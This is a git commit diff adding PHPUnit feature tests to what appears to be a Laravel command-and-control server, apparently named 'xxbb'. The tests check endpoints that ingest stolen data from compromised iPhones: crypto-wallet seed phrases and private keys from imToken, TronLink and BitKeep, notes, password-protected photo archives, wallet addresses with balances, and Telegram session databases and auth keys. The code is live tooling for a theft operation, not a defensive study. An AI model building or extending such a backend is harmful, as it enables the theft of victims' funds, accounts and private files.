feat: xxbb
This commit is contained in:
@@ -5,13 +5,18 @@ namespace Tests\Feature;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('xxbb.tv', $row->path);
|
||||
$this->assertSame('xxbb.tv', $row->domain);
|
||||
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
||||
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertNull($row->session_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_dedupes_by_session_id(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$body = [
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
];
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode([
|
||||
...$body,
|
||||
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertSame(2, PageVisit::query()->count());
|
||||
$this->assertSame(
|
||||
'11111111-2222-4333-8444-555555555555',
|
||||
PageVisit::query()->orderBy('id')->value('session_id'),
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
|
||||
$this->assertNull($device->channel_id);
|
||||
|
||||
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($ev);
|
||||
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
|
||||
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
|
||||
$this->assertNotNull($app);
|
||||
$this->assertSame('imToken', $app->name);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['imToken'], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function nb_ingests_notes(): void
|
||||
{
|
||||
$this->xxbbPost('/nb', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'list' => [
|
||||
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
||||
'second note line',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertIsArray($note->content);
|
||||
$this->assertCount(2, $note->content);
|
||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_ingests_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/result', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('imToken', $row->source);
|
||||
$this->assertStringContainsString('abandon', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function t_extracts_photo_archive_and_stores_file(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = $this->xxbbCrypto();
|
||||
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/t',
|
||||
[
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'batchBase' => '0',
|
||||
'idx' => '000001000000',
|
||||
'ftu' => '000001000000',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
$this->assertSame(12, $photo->x_hit);
|
||||
$this->assertSame(1, $photo->upload_count);
|
||||
$this->assertSame(0, $photo->process_index);
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_tronlink_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'c',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('TronLink', $row->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_private_key_without_result_wrapper(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'f',
|
||||
'privateKey' => '0x'.str_repeat('ab', 32),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('BitKeep', $row->source);
|
||||
$this->assertStringStartsWith('0x', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ub_ingests_global_wallet_ad_map(): void
|
||||
{
|
||||
Http::fake(['*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$this->xxbbPost('/ub', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'p',
|
||||
'ad' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Global Wallet', $addr->source);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_telegram_auth(): void
|
||||
{
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
'd2' => 'FFXD5S8FPLJM',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'a' => 'tg',
|
||||
'user_id' => '123456789',
|
||||
'state' => ['records' => [['id' => 1]]],
|
||||
'db_sqlite' => base64_encode('not-a-real-sqlite'),
|
||||
'datacenterAuthInfoById' => 'AQID',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
|
||||
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
|
||||
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user